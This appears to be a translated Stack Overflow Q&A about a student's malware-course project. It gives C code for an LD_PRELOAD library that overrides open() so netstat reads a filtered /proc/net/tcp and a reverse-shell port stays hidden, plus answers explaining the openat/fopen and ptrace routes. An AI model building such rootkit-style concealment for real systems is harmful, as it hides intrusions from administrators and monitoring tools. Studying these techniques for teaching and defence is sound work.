使用 LD_PRELOAD 覆盖打开函数

Override open function using LD_PRELOAD

提问人:Andreas Frangos 提问时间:11/16/2023 最后编辑:BarmarAndreas Frangos 更新时间:11/18/2023 访问量:52

问:

我已经制作了一个覆盖 readdir 函数的库,我用它来掩盖一些进程,现在我正在尝试覆盖 open 函数,以隐藏打开的端口,这是我在学校的一个项目的一部分,我必须打开一个 revershell 连接并覆盖它。 netstat 使用 open 函数从 /proc/net/tcp 读取并显示打开的连接。我希望在尝试打开 /proc/net/tcp 文件时打开一个文件,该文件包含 /proc/net/tcp 文件的所有内容,但不包括包含我与反向 shell 连接的端口的行。该文件已创建,位于此路径 /home/kali/Malware/project/hide_port/tcp 中。

我在 c 中制作了这个程序

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
    
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
    
int open(const char *pathname, int flags, ...) {
    // Load the original open function if not loaded
    if (!original_open) {
        original_open = dlsym(RTLD_NEXT, "open");
        if (!original_open) {
            fprintf(stderr, "Error: Unable to load original open function\n");
            return -1;
        }
    }
    
    // Check if the file being opened is /proc/net/tcp
    if (strcmp(pathname, "/proc/net/tcp") == 0) {
        // If not already redirected, open the new file
        if (redirected_fd == -1) {
            redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
            if (redirected_fd == -1) {
                fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
                return -1;
            }
        }
    
        // Return the redirected file descriptor
        return redirected_fd;
    } else {
        // Call the original open function for other files
        return original_open(pathname, flags);
    }
}

然后我像这样编译它gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl

并且像这样运行 netstat,但仍然获得引用连接的行

LD_PRELOAD=./libnetstat_hide.so netstat

C 端口 LD-预加载

评论

0赞 Barmar 11/16/2023
当您调用块时,如果提供了可选的第三个参数,则不会传递该参数。这可能不是问题,因为它不应该打开任何文件进行写入。original_open()elsenetstat
0赞 Barmar 11/16/2023
确保 isn't set-uid, is ignored.netstatLD_PRELOAD
0赞 Andreas Frangos 11/16/2023
@Barmar我以root用户身份运行此命令LD_PRELOAD=./libnetstat_hide.so netstat,但我仍然得到该行

答:

1赞 Craig Estey 11/16/2023 #1

我做了什么:

  1. 我构建了你的并添加了调试。.soprintf
  2. 我使用netstatLD_PRELOAD
  3. 您的拦截函数被调用(即没有调试输出)。openprintf
  4. 我在下面重新运行了所有这些strace
  5. 我检查了输出strace

简单的答案是,使用而不是用于所有打开的调用。netstatopenatopen


以下是部分输出:strace

914095 1700075180.092774 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
914095 1700075180.709689 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
914095 1700075181.104876 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104939 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104993 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105047 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105099 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp", O_RDONLY) = 3
914095 1700075181.105471 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp6", O_RDONLY) = 3
914095 1700075181.105813 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite", O_RDONLY) = 3
914095 1700075181.106036 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite6", O_RDONLY) = 3
914095 1700075181.106262 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw", O_RDONLY) = 3
914095 1700075181.106438 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw6", O_RDONLY) = 3
914095 1700075181.106630 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/unix", O_RDONLY) = 3
914095 1700075181.118744 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx/socket", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118799 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118853 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ax25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118913 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118965 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)

更新:

我做了很多测试。似乎使用 .因此,覆盖 [et al.] 将不起作用,因为 glibc 将使用 .所以,我们可能需要拦截。netstatfopenopenfopenopenfopen

但是,由于构造方式的原因,实际的符号有些不清楚。它可以是 ,有或没有符号版本控制(例如 ),或者只是 .glibcfopen64fopen64@GLIBC_2.2.5_IO_new_fopenfopen

更简单的方法可能是在自定义程序下运行。这将在系统调用级别进行拦截。无论使用什么调用,它都会捕获内容。netstatptrace*opennetstat

请参阅我的答案:强制pthread_create失败以用于测试目的,以获取有关如何拦截系统调用的示例。

评论

0赞 Andreas Frangos 11/16/2023
你是对的,更改了它以覆盖 openat,我也对 hide_sshd.c 进行了一些修改,我正在打开像这样的 /proc/net/tcp 的程序上测试它 openat(AT_FDCWD, “/proc/net/tcp”, O_RDONLY);,当我使用测试程序LD_PRELAOD库时,我设法覆盖了该函数,但是当我为 netstat 执行此操作时,我没有得到我想要的结果。所以也许我必须找到另一种方法来隐藏端口?
0赞 Andreas Frangos 11/16/2023
下面是一个 GitHub 存储库,其中包含 github.com/kolokasi1/hide_port 更改